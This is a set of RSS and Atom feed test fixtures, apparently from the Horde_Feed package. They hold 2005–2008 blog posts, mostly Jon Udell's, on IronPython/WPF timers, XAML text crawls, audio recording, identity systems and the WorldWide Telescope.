trained monkey jim winstead jr. 2005-10-15T00:23:50Z mmm, rabbits tag:trainedmonkey.com,2005-10-14:2584 2005-10-15T00:23:50Z 2005-10-14T17:23:50-07:00 <a href="http://stuff.co.nz/stuff/0,2106,3442678a12,00.html">this story</a> has one of the most brilliant quotes i’ve ever seen in a news article: “It didn’t happen overnight. You don’t take a drug and go ‘Mmm, rabbits’.” announcing scraped.us tag:trainedmonkey.com,2005-03-26:2154 2005-03-26T16:13:03Z 2005-03-26T08:13:03-08:00 i finally got around to moving the feeds for the few sites i am still scraping to a dedicated domain, over at <a href="http://scraped.us/">scraped.us</a>. i also added atom versions of the feeds. the old feeds are redirected to the new ones.<br /><br />there’s no special reason for this, other than it was annoying to process stats for this site because of all the noise from those feeds. now i can more easily isolate that traffic. Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-w3future.com-weblog-rss.xml0000664000175000017500000000667312653701626026150 0ustar janjan Sjoerd Visscher's weblogPondering those web technologies that may change the future of the world wide web.http://w3future.com/weblog/sjoerd@w3future.comen-ushttp://w3future.com/weblog/2008/06/16.xml#AlgebraicDataTypesinJavaScriptAlgebraic Data Types in JavaScripthttp://w3future.com/weblog/2006/02/28.xml#tailCallEliminationInJavascriptTail call elimination in JavascriptVia LtU I read about a tail call optimization decorator. Of course I immediately wondered if it was possible in JavaScript, and it is: Function.prototype.tailCallOptimized = function() { var g = this; return function() { for (var caller = arguments. …http://w3future.com/weblog/2005/12/21.xml#technoratiClaimTechnorati claimTechnorati Profilehttp://w3future.com/weblog/2005/10/20.xml#leakFreeJavascriptClosuresLeak Free Javascript ClosuresIf you're confused about how closures in JavaScript cause memory leaks in Internet Explorer, this is for you: Leak Free Javascript Closures. Then, without leakage, you can write code like this: function attach() { var element = document.getElementById("my-element"); element. …http://w3future.com/weblog/2005/08/14.xml#noMoreAccesskeysNo more accesskeysI had accesskeys for the tabs at the top of this site, but Mark Wubben reminded me that this was very annoying, mainly because alt-d was one of them (the shortcut to focus the address bar). This makes me think that using accesskeys in webpages is not a very good idea, because you never know what the favorite shortcut keys of your visitor are.http://w3future.com/weblog/2005/08/14.xml#howToUseBaseUrisHow to use base URIs.If you're wondering what a base URI is for, you'll always end up being directed to RFC 3986, but you won't find much. Section 5.1 just says: “The term "relative" implies that a "base URI" exists against which the relative reference is applied.”. …http://w3future.com/weblog/2005/07/17.xml#atom10FeedAvailableAtom 1.0 feed availableI've updated my Radio Userland Atom code to produce version 1.0. You can find the feed here. My RSS 0.91 feed is created with a simple XSLT transformation from the Atom feed.http://w3future.com/weblog/2005/06/18.xml#iLiveInBelgiumI live in BelgiumAt least, that is what Google shows me, and Google is always right.http://w3future.com/weblog/2005/06/01.xml#beingFilmedBy3CamerasAtOnceBeing filmed by 3 cameras at once!Sometimes it's really interesting to live in the centre of the administrative capital of the Netherlands. Today we had a referendum for ratification of the Treaty establishing a Constitution for Europe. I had to vote in the city hall. As this is close to the parliament buildings a lot of camera crews had chosen the city hall to film some voters, including me. … Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-weblog.infoworld.com-udell-rss.xml0000664000175000017500000031655512653701626027476 0ustar janjan Jon Udell http://blog.jonudell.net Strategies for Internet citizens Mon, 21 Jul 2008 14:42:11 +0000 http://wordpress.org/?v=MU en John Faughnan’s amazing Outlook hack (and why it matters) http://blog.jonudell.net/2008/07/21/john-faughnans-amazing-outlook-hack-and-why-it-matters/ http://blog.jonudell.net/2008/07/21/john-faughnans-amazing-outlook-hack-and-why-it-matters/#comments Mon, 21 Jul 2008 14:36:24 +0000 Jon Udell http://jonudell.wordpress.com/?p=435

    Although I’ve conversed online with John Faughnan since my days at BYTE, we’ve never met, and we had not even spoken on the phone until last week when he joined me on an episode of my Interviews with Innovators podcast. It was a great pleasure to finally connect in realtime with the prolific author of thoughtful analysis and commentary on things in general, on information technology, and on resources for parents of children with cognitive or emotional-behavior disabilities.

    John was a country doctor, and he retains his medical license, but he doesn’t see patients nowadays. Instead he directs the development of clinical productivity software, with particular focus on methods of knowledge representation, and on strategies for effective collaboration.

    We share a passion for strategies that entail simple but often overlooked uses of common software applications. For example, did you know that it’s possible, in Outlook, to edit the subject of an email message after it’s been received, and is just sitting in your archive? Try it, and you’ll find that you can. Color me amazed. I’m just the sort of personal information management geek who’d have discovered a hack like that, but I never did.

    Now, why would you want to do such a thing? It’s a defensive strategy. The message entitled “Re: Next week” probably ought to be entitled something like “Consensus reached among A, B, and C on issue X for project Y.” Which title would you rather scan, in search results, six months later?

    (John would like to find, and personally thank, the developer responsible for this feature, so if you know that person, or are that person, speak up!)

    You can think of this technique as a kind of enhanced tagging. It’s related to a strategy for enriching email — embodying the journalistic principle of “heads, decks, and leads” — which I described in my book and in this report.

    People mainly still think of information architecture as a discipline practiced only by designers and publishers. But what John and I have always thought is that we’re all becoming designers and publishers of streams of information, that those streams can all be navigated and searched in one way or another, and that the value of those streams depends on the ability of ourselves and others to navigate and search them effectively.

    We also think that effectiveness requires two things. First, obviously, software that embodies the right principles and enables the right practices. But second, a broad awareness of right principles and practices. Those, we agree in this conversation, are not necessarily intuited by Gen X, Y, or Z just because they’re so-called digital natives. This stuff needs to be articulated, and it needs to be taught.

    ]]>     http://blog.jonudell.net/2008/07/21/john-faughnans-amazing-outlook-hack-and-why-it-matters/feed/ jonudell     How to wire up a timer-triggered WPF event handler in IronPython http://blog.jonudell.net/2008/07/17/how-to-wire-up-a-timer-triggered-wpf-event-handler-in-ironpython/ http://blog.jonudell.net/2008/07/17/how-to-wire-up-a-timer-triggered-wpf-event-handler-in-ironpython/#comments Thu, 17 Jul 2008 17:29:16 +0000 Jon Udell http://jonudell.wordpress.com/?p=431

    In the last installment of my little series on turning Internet feeds into TV feeds, I had decided to use IronPython to fetch data from the Internet, but C# to drive the WPF (Windows Presentation Foundation) application whose display my local public access TV station will broadcast. This division of labor between C# and IronPython arose because the XAML that drives the display needs to be refreshed periodically, and I didn’t know how, in IronPython, to properly delegate a timer-based event handler for WPF.

    In this comment, Michael Foord, author of IronPython in Action and a major contributor to the IronPython Cookbook, showed me the way. Thanks Michael!

    Based on his example, I’ve rewritten the C# program shown here as the IronPython script shown below.

    I haven’t yet decided which version to deploy, but I’m leaning toward the IronPython version. Not because it’s more concise. It isn’t, really. Nor because I feel any need to use the same language for both components of the solution — that is, the feed fetcher and the feed displayer. I don’t care about language uniformity for its own sake.

    I am, however, thinking that the folks at the TV station may want to modify these programs themselves. They’re pretty simple, and there’s no reason they shouldn’t be able to tinker with them. From that perspective, code that can be modified with nothing more than a text editor will be more accessible than code which requires a compiler.

    I’m reminded of my early days as a website operator, when I was always glad to discover that a third-party application was written in Perl, rather than in C. That meant I could, and sometimes did, tweak the application in ways that otherwise would have been difficult or even (lacking C source code) impossible.

    The difference here, of course, is that all of the underlying machinery — XAML, WPF, and the entire .NET Framework — is exactly the same1 when approached from a scripting language like IronPython or a compiled language like C#. This ability to use common infrastructure from different langages — and from very different kinds of languages — has always seemed like a big deal to me, and still does.

    1 The same, that is, modulo the kind of boundary-crossing issue that stumped me until Michael Foord pointed me to CallTarget0, the wrapper for creating a delegate in IronPython. 

    import clr

clr.AddReferenceByPartialName("PresentationCore")
clr.AddReferenceByPartialName("PresentationFramework")
clr.AddReferenceByPartialName("WindowsBase")
clr.AddReferenceByPartialName("IronPython")

from System import *
from System.Windows import *
from System.Windows.Markup import *
from System.Windows.Media import *
from System.Windows.Input import *
from System.Windows.Threading import *

from IronPython.Runtime.Calls import CallTarget0

def LoadXaml(filename):
  from System.IO import *
  from System.Windows.Markup import XamlReader
  f = FileStream(filename, FileMode.Open)
  try:
    element = XamlReader.Load(f)
  finally:
	f.Close()
  return element

class Scroller(Application):

  def tickhandler(self,sender,args):
    def update_xaml():
      self.window.Content = LoadXaml(self.xaml)
    self.timer.Dispatcher.Invoke(DispatcherPriority.Normal,
      CallTarget0(update_xaml))

  def __init__(self):
    Application.__init__(self)
    self.xaml = "scroller.xaml"
    self.window = Window()
    self.window.Content = LoadXaml(self.xaml)
    self.window.WindowStyle = WindowStyle.None       # go fullscreen
    self.window.WindowState = WindowState.Maximized  #
    self.window.Topmost = True                       #
    self.window.Cursor = Cursors.None                #
    self.window.Background = Brushes.Black           #
    self.window.Foreground = Brushes.White           #
    self.window.Show()
    self.timer = DispatcherTimer()
    self.timer.Interval = TimeSpan(0, 60, 0)         # refresh hourly
    self.timer.Tick += self.tickhandler              #
    self.timer.Start()                               #

Scroller().Run()
    ]]>     http://blog.jonudell.net/2008/07/17/how-to-wire-up-a-timer-triggered-wpf-event-handler-in-ironpython/feed/ jonudell     Dan Bricklin on becoming a Happy Caster http://blog.jonudell.net/2008/07/17/dan-bricklin-on-becoming-a-happy-caster/ http://blog.jonudell.net/2008/07/17/dan-bricklin-on-becoming-a-happy-caster/#comments Thu, 17 Jul 2008 14:08:33 +0000 Jon Udell http://jonudell.wordpress.com/?p=425

    The Conversations Network is embarking on a new phase in which it will expand its ambition to capture, publish, and curate spoken-word audio from a wide range of sources. One of the challenges will be to help more people effectively capture audio to a reasonable standard of quality. Dan Bricklin, my guest for this week’s ITConversations show, has ascended that learning curve in recent years. In this conversation he explains why he’s become interested in audio recording, and what he has learned about equipment, and techniques, which can be readily transferred to individuals and organizations wanting to make decent recordings of their own events.

    When I embarked on my personal audio adventure a few years ago, I naively thought that our fancy new digital technologies would make the whole process very simple. Boy, was I wrong about that. Yes, we’ve made digital photography accessible to the masses, but there was vast demand for enabling the so-called Happy Snapper to point, shoot, and take a decent photo. There’s been comparatively little demand for enabling the Happy Caster to plunk down a microphone, punch record, and capture a decent sound track.

    Over the last few years I’ve slowly and painfully assimilated just a fraction of the audio lore possessed by domain experts like the Conversations Network’s founder Doug Kaye, and its senior audio engineer Paul Figgiani. So it was refreshing to hear from Dan Bricklin that it has also been a struggle for him to become competent in this domain.

    I guess the demand for point-and-shoot photography will always outstrip, by orders of magnitude, the demand for plunk-and-punch audio recording. But the latter demand is growing, and in this conversation we speculate a bit on what the Happy Caster solution might be.

    Mainly, though, Dan focuses on two things. First, the new opportunity to capture spoken-word events that would otherwise be lost, and publish them for audiences that didn’t attend, or couldn’t have attended, in person.

    Second, the minimal setup that will enable folks who are not audio experts to accomplish that capture and publication.

    PS: A bit of backstory on this recording illustrates some of the challenges of the audio domain. In my FAQ for interviewees, I invite remote interviewees to record themselves locally, then send me the track which I combine with my own locally-recorded track. Why? If you’re sending voice over the network, whether it’s POTS (plain old telephone service) or Skype, there’s a lot that can and often does go wrong. Eliminate the network and you avoid all those problems.

    In principle, combining local tracks recorded separately is a great solution. In practice, it has almost never worked out, and this case was no exception.

    Usually the problem is that interviewees lack the gear or knowledge required to make a decent local track. Attempts to record directly into a computer always end badly. Most people don’t own standalone digital audio recorders. In one case, a musician who routinely records his music through a mixer nevertheless produced an unusable track because he’s not used to recording his voice and overshot the limits.

    In this case, Dan was quite capable of making a good recording, and he did, but things went wrong on my end. What Dan recorded was an MP3 file. What I was expecting was a WAV file, because I was going to edit the combined recording and it’s dicey to uncompress an MP3, edit, and then recompress.

    Now, Dan had recorded the MP3 at a bit rate — 192kbps — that he judged would be high enough to survive an edit. But would our discriminating audio engineer Paul Figgiani agree? We weren’t sure, so I sent Paul samples of Dan’s MP3 track and the WAV file I made from the telephone track I’d recorded using the Telos. Paul’s verdict: “I think we can make the 192 kbps mp3 version work. The bit rate is high enough … lets go with it.”

    So far, so good. But when I loaded up my local track and Dan’s remote track into Audition, things didn’t line up. My WAV track was slightly longer (or shorter, I can’t remember) than Dan’s MP3 track. The difference was only about 1.5 seconds over an hour-long recording, but still, it had to be dealt with.

    Audition has a time-stretch feature that can be used to solve this problem. And I could swear that I’ve used it successfully before in these circumstances. But this time, I couldn’t make it work. Every time I tried to stretch the shorter clip, it snapped back to its original position. I fiddled with every approach I could think of, or could discover by searching, and finally threw up my hands and just used the original recording that had both halves of the conversation in sync. If this Audition behaviour rings a bell with anyone, I’d love to know what went wrong and how to avoid it next time.

    The moral, anyway, is that if a reasonably technical guy like me is struggling to keep his head above water in this domain, it’s clear that non-geeky civilians will just drown. I’m quite curious to know when, or perhaps whether, those civilians will constitute a market that technology providers want to serve.

    ]]>     http://blog.jonudell.net/2008/07/17/dan-bricklin-on-becoming-a-happy-caster/feed/ jonudell     Homophily, anti-recommendation, and Driveway Moments http://blog.jonudell.net/2008/07/16/homophily-anti-recommendation-and-driveway-moments/ http://blog.jonudell.net/2008/07/16/homophily-anti-recommendation-and-driveway-moments/#comments Wed, 16 Jul 2008 17:17:37 +0000 Jon Udell http://jonudell.wordpress.com/?p=416

    The folks at National Public Radio love to create driveway moments:

    You’re driving along, listening to a story on NPR. Suddenly, you find yourself at your destination, so riveted to a piece that you sit in your idling car to hear it all the way through. That’s a Driveway Moment.

    The podcasting counterpart, for me, is the Ashuelot Moment. I’m jogging along the Ashuelot River, and I’m so riveted to a piece that I take a longer route so my run won’t end before the story does.

    The Long Now podcasts are my most reliable source of Moments but they’re only on a monthly cycle. TED talks are another good source, though I’ve lost track of how to subscribe to the comprehensive audio-only feed. The Conversations Network, to which I contribute a weekly show, produces occasional Moments, but a lot of the material there is so closely aligned with my own particular interests and inclinations that it doesn’t often surprise or challenge me.

    Another good source is Christopher Lydon’s Open Source, which launched in 2005, suffered a setback in 2006, and then recovered in 2007. It took me a while to reconnect after the hiatus, but now I’m finding it to be more stimulating than ever.

    Here’s my most recent Moment, from this Open Source show with Ethan Zuckerman and Solana Larsen. Ethan is speaking:

    My hope was that with the Internet, suddenly we’re all connected, we hold hands and sing Kumbaya. And it just hasn’t worked out that way.

    …
    You loook at a site like Digg, or Reddit, these are sites that promised the future of journalism. We’d all get together and decide what’s important. But, who’s we? Or as per the Lone Ranger, who’s we, white man? Or more to the point, who’s me, white geek?

    If you’re getting your news from these sites, you’re getting a very particular, tech-heavy view of politics, a fairly focused view of the world. And you start falling victim to homophily, which is what happens when all of your news and opinions are coming from people who’ve got the same background and the same values as you.

    Homophily is the tendency of birds of a feather to flock together. It’s the tendency to walk into a room, find the person most similar to you, and form a bond. It’s a natural human tendency, but it’s probably worth fighting against. Homophily makes you stupid.

    Of course I share tribal affiliations with Ethan Zuckerman, so I’d have been likely to find that particular show one way or another. But Global Voices Online, the project that Ethan and Solana discuss on that show, is all about resisting homophily, and enabling us to tune into global perspectives offered by people in circumstances very different from our own.

    Just because we can, though, doesn’t mean we will. Homophily is a natural tendency. It’s easy and comfortable to immerse ourselves in the familiar. It’s hard and uncomfortable to seek out the unfamiliar. How do we overcome that?

    Recommendation systems don’t help me much. They only suggest things similar to other things I’ve shown interest in. Increasingly that just frustrates me. The most delightful recommendations are those that connect me with things that interest me in unpredictable ways. That happens serendipitously, and I haven’t yet found a reliable way to manufacture the serendipity.

    Lately I’ve started to wonder about the notion of anti-recommendation systems. One example of an anti-recommendation system is LibraryThing’s UnSuggester, which find books least likely to coincide with yours. It’s a whimsical feature that honestly hasn’t been useful to me yet, but I think the idea merits exploration and development.

    Although it isn’t automated or automatable, I’d argue that the Passion Thursday series on Open Source is a kind of anti-recommender. The series includes shows about birdwatching, the pursuit of truth, poker, the potato, cursive handwriting, and the theremin, an early electronic instrument recently notable in the repertoire of the indie band DeVotchKa. The only common thread is someone’s passionate interest in something.

    We’re not inclined to resist homophily and seek out otherness. But passionate storytellers can take us to places we wouldn’t otherwise go, and create Moments there.

    Passion is a good way to lubricate the engine of serendipity.

    ]]>     http://blog.jonudell.net/2008/07/16/homophily-anti-recommendation-and-driveway-moments/feed/ jonudell     Will people understand and embrace the right identity systems? Maybe yes! http://blog.jonudell.net/2008/07/15/will-people-understand-and-embrace-the-right-identity-systems-maybe-yes/ http://blog.jonudell.net/2008/07/15/will-people-understand-and-embrace-the-right-identity-systems-maybe-yes/#comments Tue, 15 Jul 2008 12:25:14 +0000 Jon Udell http://jonudell.wordpress.com/?p=415

    In conversation with English and Welsh friends last week, the subject of Britain’s imminent National Identity Scheme came up. My friends, who are worldly and well-educated but not technical, voiced concerns about the amount of personal information that will be stored. Their understanding was that a lot of this information will be kept on the new ID card. In fact, the proposal says that only a subset will stored on the card, which will be backed by a cloud-based (and decentralized) National Identity Register. But either way, my friends’ concerns are of course valid. If governments or businesses aggregate too much personal information, accidents and abuses will occur.

    At the same time, my friends do recognize the need for a strong and secure means of identification. So they’re not opposed to identity cards on principle, they just don’t want those cards to contain, or link to, extensive dossiers.

    At this point, channeling Kim Cameron, I launched into an explanation of the laws of identity and the identity metasystem. Well, sort of. I didn’t say anything about cryptography, or digital certificates, or XML web services. But I did paint a picture of a world in which individuals interact with many identity providers and many relying parties, in which all actors trust one another in exactly the ways they already do today, and in which disclosure of personal information is minimal and context-dependent.

    Halfway through I thought, well, this will never fly. This whole scheme is based on decentralization and indirection, and I know people don’t take naturally to those concepts.

    But…they completely got it! Maybe that’s because the threat of a monolithic system leads people to appreciate the virtues of a decentralized one. Maybe it’s because ongoing experience with the Net makes people more comfortable with the principle of indirection. Maybe it’s both these factors and others as well. In any event, it was a hopeful moment. Identity geeks have struggled, for many years, not only to devise right systems, but also to motivate an understanding of what makes systems right, and why. Now that right systems are coming into existence, it’s good to see that (some) people are ready to appreciate and embrace them.

    ]]>     http://blog.jonudell.net/2008/07/15/will-people-understand-and-embrace-the-right-identity-systems-maybe-yes/feed/ jonudell     How the WorldWide Telescope works http://blog.jonudell.net/2008/07/14/how-the-worldwide-telescope-works/ http://blog.jonudell.net/2008/07/14/how-the-worldwide-telescope-works/#comments Mon, 14 Jul 2008 14:33:24 +0000 Jon Udell http://jonudell.wordpress.com/?p=414

    On my Perspectives show last week, Curtis Wong and Roy Gould relate the history and educational mission of the WorldWide Telescope. On this week’s show, principal developer Jonathan Fay describes how the underlying technologies enable the WWT’s seamless view of the sky.

    There were a bunch of things I wanted to know, including:

    How does the WWT project build on, and extend, the SkyServer project to which Jim Gray made fundamental contributions?

    What standards and protocols enable the various sky surveys to be woven together?

    What’s the relationship between Deep Zoom and the WWT’s own scheme for managing and viewing tiled multi-resolution imagery?

    How much of the data is stored on Microsoft servers, how much is stored elsewhere, and in what ways do the supporting data services cooperate?

    Jonathan answers all these questions, and he also answers one I didn’t think to ask:

    What technique is used to project the stars onto an imaginary sphere at near-infinite distance?

    The answer to that last question is that a new kind of spherical projection had to be invented:

    Imagine taking a round room, and trying to put a bunch of bathroom tiles on it, and grout it. The tiles seem to come together and have parallel lines for a while, but eventually it stops working well. Maybe you can take one line around the equator, but as you go up you have fewer tiles, and weird-shaped tiles, and nothing lines up.

    That’s the problem we have. We’re looking at spherical data, so we had to come up with a new spherical transform that preserves the poles. In previous projects, like Virtual Earth or TerraServer or Google Earth, the poles weren’t important, because nobody lives there and nobody needs map directions for driving around there.

    So we had to come up with something called TOAST: tesselated octahedral adaptive subdivision transform. It creates a 360-degree wraparound view that’s either a planet surface or the infinite sphere of the sky, and lets you represent it using a 3D graphics accelerator, very rapidly and efficiently. So we can have an image pyramid the way Deep Zoom does, and TerraServer before it, but we don’t have to give up the poles.

    This transform isn’t proprietary, and in fact it’s being applied to the 50-odd full-sky surveys hosted at NASA’s SkyView virtual observatory. The implications are pretty astounding. This imagery is stored in astronomical databases using what’s called tangential projection, which suffers from polar distortion when combined into large mosaics. Now the imagery can be combined into large mosaics — or indeed a complete view of the sky — and seen without distortion. What’s more, multiple surveys can be aligned to that spherical projection. That’s why, in WorldWide Telescope, you can cross-fade between a view of the Milky Way in visible light and views in infrared or ultraviolet light.

    What the WorldWide Telescope really is, Jonathan says, is a browser, like a web browser but for an information space defined in astronomical terms. Here’s how he sums up the work that was necessary to make that possible:

    The vision of getting everybody access to all this astronomy data required systematic changes at every single level. We built on some things that Jim pioneered with NVO, and worked from there, but it was very systematic. How people process the data. The client to access the data. The protocols over the wire. Educating people, providing the context for it.

    We put a lot of things together, but we also created a systematic model for how to do everything end to end, top to bottom, left to right. Now there may be other people who use the pieces that we’ve created, and then change them to use different data sources, different visualizations. Say someone creates a Mac client, or an iPhone client, that’s possible. Or a mobile phone version of it, or a web-based version. Over time we or others can replace various components, but as a reference model for solving all the problems in order to get the data into people’s homes and into their eyeballs — you had to solve for all of those problems, otherwise people are still blocked from being able to really explore.

    For Curtis Wong, the WWT is an extension of John Dobson’s sidewalk astromony — a way to bring telescopes to the public and to enable astronomers to share their knowledge of the sky with everybody. For Jonathan Fay, it’s the perfect application of earth and sky visualization technologies he’s been developing throughout his career. Their interests and talents combined, as Jonathan says, like peanut butter and chocolate:

    Curtis had been exploring how to create an educational environment with rich tools for exploring space, and he’d been collaborating with Jim Gray on TerraServer, and now he was looking for the technology to make it possible.

    Here I had this technology, and was looking for somebody who was enthusiastic about having a purpose for it. So it was the peanut butter and chocolate moment.

    Yum.

    ]]>     http://blog.jonudell.net/2008/07/14/how-the-worldwide-telescope-works/feed/ jonudell     More ways to turn Internet feeds into TV feeds http://blog.jonudell.net/2008/07/01/more-ways-to-turn-internet-feeds-into-tv-feeds/ http://blog.jonudell.net/2008/07/01/more-ways-to-turn-internet-feeds-into-tv-feeds/#comments Tue, 01 Jul 2008 13:11:42 +0000 Jon Udell http://jonudell.wordpress.com/?p=413

    Last week I started looking into ways to Internet feeds into TV feeds. Although I did come up with a way to turn a data feed into a video file, that wound up being overkill. It turns out that the local station is willing to broadcast the signal from a computer display. To create that signal, several folks suggested using PowerPoint, but I found that its scrolling credits feature doesn’t accommodate really long lists of credits. So I decided to try XAML, the application markup language that works with Silverlight and the Windows Presentation Foundation (WPF), in concert with IronPython.

    The plan was as follows. A long-running IronPython script periodically fetches the feed from a web service, interpolates the text into a XAML template that animates the crawl, and displays the XAML in a fullscreen white-on-black WPF window.

    Here’s the XAML template: 

    <Grid xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
  xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
  Width="%s" Height="%s">
<TextBlock xml:space="preserve" FontSize="%s" Margin="%s,%s,0,0"
  FontFamily="Arial">
    <TextBlock.RenderTransform>
      <TranslateTransform x:Name="translate" />
    </TextBlock.RenderTransform>
  <TextBlock.Triggers>
    <EventTrigger RoutedEvent="FrameworkElement.Loaded">
      <BeginStoryboard>
        <Storyboard RepeatBehavior="Forever">
          <DoubleAnimation From="%s" To="-%s"
            Storyboard.TargetName="translate"
            Storyboard.TargetProperty="Y"
			Duration="00:%s:%s" />
        </Storyboard>
      </BeginStoryboard>
    </EventTrigger>
   </TextBlock.Triggers>
<Run>
<![CDATA[
%s
]]>
</Run>
</TextBlock>
</Grid>

    Some of the values depend on the number of items in the feed, so the script interpolates those values into the template. Then it formats the feed and plugs the formatted text into the template’s CDATA section. The formatted text looks like this: 

    EVENTS FOR MON JUN 30 2008 FROM THE ELMCITY.INFO CALENDAR

06:00 AM:  lap swim (ymca)

07:00 AM:  AA: On Awakening Group (eventful: Keene Unitarian
      Universalist Church)

    After generating the XAML, the IronPython script fires up an Application object, creates a window, loads in the XAML to start the crawl, and sets a timer to refresh the XAML.

    I ran into a snag when I tried to set that timer, though. There are a few different timers you might imagine using in this context, including Python’s own timer object and various timers available in the .NET Framework. All but one of these, however, will complain about invalid cross-thread access when you try to update the application’s user interface from a timer event handler.

    The right timer to use, it turns out, is .NET’s System.Windows.Threading.DispatcherTimer. But when I tried it, I ran into another snag. In C#, you create a WPF-friendly timer like so: 

    DispatcherTimer timer = new DispatcherTimer();
timer.Tick += new EventHandler(event_handler);

    event_handler is a method, but EventHandler returns a delegate that encapsulates that method. I couldn’t find a straightforward way to create a delegate, and do that encapsulation, in IronPython.

    If you know how, I’d love to hear about it. Then again, it really doesn’t matter. Logically this program has two loosely-coupled parts. The engine part reads the feed from a web service and formats it as XAML. It can be a Python script that runs on a scheduled basis to fetch and format the feed.

    The user interface part loads, displays, and then periodically refreshes the XAML. It can be a little C# program that runs forever, displays the animation, and refreshes the data, like so: 

    using System;
using System.Windows;
using System.Windows.Markup;
using System.Windows.Input;
using System.Windows.Media;
using System.IO;
using System.Windows.Threading;

namespace CalendarCrawl
{
  public class CalendarCrawler
  {
    private static Application app = new Application();

    private static StreamReader getXaml()
    {
    StreamReader sr = new StreamReader("WPF.xaml");
    return sr;
    }

    [STAThread]
    public static void Main(string[] args)
    {
        Window win = new Window();
        win.WindowStyle = WindowStyle.None;           // go fullscreen
        win.WindowState = WindowState.Maximized;      // go fullscreen
        win.Topmost = true;                           // go fullscreen
        win.Cursor = Cursors.None;                    // go fullscreen
        win.Content = XamlReader.Load(getXaml().BaseStream);
        win.Background = Brushes.Black;
        win.Foreground = Brushes.White;
        DispatcherTimer timer = new DispatcherTimer();
        timer.Interval = new TimeSpan(0, 1, 0);       // every hour
        timer.Tick += new EventHandler(eventHandler); // wire up handler
        timer.Start();
        app.Run(win);
    }

    private static void eventHandler(Object sender, EventArgs args)
    {
        app.Windows[0].Content = XamlReader.Load((getXaml().BaseStream));
    }

  }
}

    It was odd how reluctantly I came to this division of labor. Evidently I still need to remind myself that in a world of loosely-coupled applications and services, when you need to get something done, There Is More Than One Way To Do It.

    Here’s another way. If the engine doesn’t have to talk to the .NET Framework’s WPF machinery, there’s no need to use IronPython. Any flavor of Python makes a handy tool for talking to RESTful web services, wrangling text, and interacting with the file system.

    Here’s yet another way: A Silverlight version of the user interface. It’s nice to know that option is available. However, I’m leaning toward the C# version. The target machine is Vista, it already has .NET and WPF, why use a long-running browser instance just to host this tiny little thing?

    One final point is worth mentioning. XAML is really just another source language for the .NET runtime and framework, like C# and IronPython and others. You can, for example, create an application window by writing a Window tag in XAML markup, and specifying parameters as attributes. Or you can do it by invoking System.Windows.Window from IronPython or C# or another .NET language, and specifying parameters in code. The boundary between markup and code is very fluid, and you can draw the line for reasons of convenience, maintainability, and taste. It’s a very flexible system, and it becomes even more flexible when you can use a dynamic language like Python to generate the XAML, the code, or both.

    ]]>     http://blog.jonudell.net/2008/07/01/more-ways-to-turn-internet-feeds-into-tv-feeds/feed/ jonudell     From seeing to hearing: A conversation with Susan Gerhart about assistive technologies for the sight-impaired http://blog.jonudell.net/2008/06/30/from-seeing-to-hearing-a-conversation-with-susan-gerhart-about-assistive-technologies-for-the-sight-impaired/ http://blog.jonudell.net/2008/06/30/from-seeing-to-hearing-a-conversation-with-susan-gerhart-about-assistive-technologies-for-the-sight-impaired/#comments Mon, 30 Jun 2008 14:01:48 +0000 Jon Udell http://jonudell.wordpress.com/?p=410

    For many of us, the podcasting revolution has opened up the audio channel as a new option for receiving information that we might otherwise read. But for the sight-impaired, like Susan Gerhart, who joins me for this week’s ITConversations show, the audio channel isn’t optional. Her myopic retinal degeneration has forced her to shift almost entirely into audio mode in order to read, and to work on the computer.

    As a lifelong technologist, Susan is a capable user and evaluator of software and computational devices. When she entered the world of assistive technologies — including the NVDA screen reader, the LevelStar Icon, the Kurzweil NFB Reader — she decided to share her experiences on a blog. In our interview she summarizes what she’s learned so far about using these technologies to adapt to her changing vision.

    ]]>     http://blog.jonudell.net/2008/06/30/from-seeing-to-hearing-a-conversation-with-susan-gerhart-about-assistive-technologies-for-the-sight-impaired/feed/ jonudell     From PowerPoint to IronPython/XAML http://blog.jonudell.net/2008/06/26/from-powerpoint-to-ironpythonxaml/ http://blog.jonudell.net/2008/06/26/from-powerpoint-to-ironpythonxaml/#comments Thu, 26 Jun 2008 19:30:26 +0000 Jon Udell http://jonudell.wordpress.com/?p=408

    As per the comments on yesterday’s item about creating a video crawl for local TV, it turns out there’s no need to produce a video file. Instead it’ll be OK to use a computer display directly. The computer could be running, for example, a PowerPoint slideshow in a loop.

    Here’s the apparently standard recommendation for making scrolling credits in PowerPoint. It was written for earlier versions, but seems applicable also to the current 2007 version:

    Create movie-style crawling credits in PowerPoint presentations

    1. In a PowerPoint presentation, create a new slide for credits or any other list that you want to scroll from bottom to top.

    2. Type your credits or other text. Don’t worry about text running off the bottom of the slide. In fact, it should run off the bottom if you are going to have enough text to make a crawl effect work well.

    3. Right-click the text, and on the shortcut menu, click Custom Animation.

    4. Select the text that you want to scroll. In the Custom Animation task pane, click Add Effect. Point to Entrance, and click Credits.

    5. Click Play to see how the effect will look on-screen.

    6. Move the text block completely off the top of the slide. When you play your presentation, the text will crawl or scroll from the bottom of the screen and disappear off the top.

    But it doesn’t look like you can get more than three screenfuls of data into the crawl. For example, I made a textbox with 200 lines of text numbered accordingly. Then I animated it using several varations on this technique.

    First I put the top of the textbox at the top of the slide, like so:

    The effect: Line 0 crawls into view from the bottom of an empty slide, and the crawl ends with line 25 at the top and line 50 at the bottom.

    Next I put the top of the textbox at line 25, like so:

    The effect: Line 0 appears at the top of the slide, the crawl ends with line 50 at the top and line 75 and the bottom.

    Is there a way to include more than three screenfuls of data in the crawl? If not, it looks like it’d be necessary to create a series of slides, each with two screenfuls of data. The first slide would need to have its first line of data at its top. But the second and following slides would need to have their middle lines of data at their tops. Gnarly.

    I’m sure that could be done, but why bother? Absent a requirement to produce a video file, there a zillion ways to make text crawl up a computer screen. This might be a good opportunity to explore the combination of IronPython and XAML.

    ]]>     http://blog.jonudell.net/2008/06/26/from-powerpoint-to-ironpythonxaml/feed/ jonudell     Turning Internet feeds into TV feeds http://blog.jonudell.net/2008/06/25/turning-internet-feeds-into-tv-feeds/ http://blog.jonudell.net/2008/06/25/turning-internet-feeds-into-tv-feeds/#comments Wed, 25 Jun 2008 20:02:46 +0000 Jon Udell http://jonudell.wordpress.com/?p=406

    I’ve cobbled together a way to turn an Internet data feed into a video crawl that can run on my local public access cable TV channel. Before explaining how, I need to explain why. Here’s the short answer: As much as I want everyone to use the Internet for all it’s worth, most people don’t yet.

